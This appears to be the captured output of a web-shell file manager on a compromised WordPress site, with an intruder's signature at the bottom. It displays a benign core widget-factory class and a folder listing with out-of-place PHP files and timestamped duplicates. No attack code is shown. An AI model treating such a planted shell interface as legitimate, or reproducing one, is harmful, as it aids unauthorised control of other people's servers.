Submit
Path:
~
/
home
/
bfxleof
/
www
/
wp-includes
/
css
/
dist
/
format-library
/
File Content:
class-wp-widget-factory.php
<?php /** * Widget API: WP_Widget_Factory class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Singleton that registers and instantiates WP_Widget classes. * * @since 2.8.0 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php */ class WP_Widget_Factory { /** * Widgets array. * * @since 2.8.0 * @var array */ public $widgets = array(); /** * PHP5 constructor. * * @since 4.3.0 */ public function __construct() { add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 ); } /** * PHP4 constructor. * * @since 2.8.0 * @deprecated 4.3.0 Use __construct() instead. * * @see WP_Widget_Factory::__construct() */ public function WP_Widget_Factory() { _deprecated_constructor( 'WP_Widget_Factory', '4.3.0' ); self::__construct(); } /** * Registers a widget subclass. * * @since 2.8.0 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object * instead of simply a `WP_Widget` subclass name. * * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass. */ public function register( $widget ) { if ( $widget instanceof WP_Widget ) { $this->widgets[ spl_object_hash( $widget ) ] = $widget; } else { $this->widgets[ $widget ] = new $widget(); } } /** * Un-registers a widget subclass. * * @since 2.8.0 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object * instead of simply a `WP_Widget` subclass name. * * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass. */ public function unregister( $widget ) { if ( $widget instanceof WP_Widget ) { unset( $this->widgets[ spl_object_hash( $widget ) ] ); } else { unset( $this->widgets[ $widget ] ); } } /** * Serves as a utility method for adding widgets to the registered widgets global. * * @since 2.8.0 * * @global array $wp_registered_widgets */ public function _register_widgets() { global $wp_registered_widgets; $keys = array_keys( $this->widgets ); $registered = array_keys( $wp_registered_widgets ); $registered = array_map( '_get_widget_id_base', $registered ); foreach ( $keys as $key ) { // Don't register new widget if old widget with the same id is already registered. if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) { unset( $this->widgets[ $key ] ); continue; } $this->widgets[ $key ]->_register(); } } }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
418.php
478 bytes
0644
SMTP.php
47285 bytes
0644
admin-bar.css
23876 bytes
0644
autoload.php
2731 bytes
0644
block-serialization-default-parser.min.js
4516 bytes
0644
block.json
1513 bytes
0644
class-json.php
43441 bytes
0644
class-wp-http-streams-20260707124458.php
16117 bytes
0644
class-wp-http-streams.php
16117 bytes
0644
class-wp-network-query.php
19169 bytes
0644
class-wp-network.php
12379 bytes
0644
class-wp-oembed-controller.php
6793 bytes
0644
class-wp-site-20260707071756.php
7428 bytes
0644
class-wp-site.php
7428 bytes
0644
class-wp-sitemaps-posts.php
5875 bytes
0644
class-wp-sitemaps.php
6290 bytes
0644
class-wp-theme.php
51601 bytes
0644
class-wp-widget-calendar.php
2871 bytes
0644
class-wp-widget-factory.php
2620 bytes
0644
core.js
48955 bytes
0644
data.js
147192 bytes
0644
editor-styles-rtl.css
3470 bytes
0644
editor.js
472144 bytes
0644
effect-puff.js
943 bytes
0644
fsockopen.php
12436 bytes
0644
https-detection-20260623165157.php
6871 bytes
0644
https-detection-20260623211809-20260706160516.php
6871 bytes
0644
https-detection-20260623211809.php
6871 bytes
0644
https-detection-20260624164017.php
6871 bytes
0644
https-detection.php
6871 bytes
0644
https-migration-20260621222700-20260622020253-20260707083242.php
4730 bytes
0644
https-migration-20260621222700-20260622020253.php
4730 bytes
0644
https-migration-20260621222700.php
4730 bytes
0644
https-migration-20260622015815.php
4730 bytes
0644
https-migration-20260622055634.php
4730 bytes
0644
https-migration-20260622145328.php
4730 bytes
0644
https-migration-20260622194220.php
4730 bytes
0644
https-migration-20260622211332.php
4730 bytes
0644
https-migration.php
4730 bytes
0644
ms-site.php
43512 bytes
0644
php72compat_const.php
4597 bytes
0644
revision.php
22027 bytes
0644
shortcode.min.js
4096 bytes
0644
shortcode.php
697 bytes
0644
style-rtl-20260702134336.css
3708 bytes
0644
style-rtl.css
3708 bytes
0644
style-rtl.min.css
2011 bytes
0644
style.css
3708 bytes
0644
style.min-20260703184719.css
2011 bytes
0644
style.min.css
2011 bytes
0644
taxonomy.php
165888 bytes
0644
wp-embed.min.js
1478 bytes
0644
N4ST4R_ID | Naxtarrr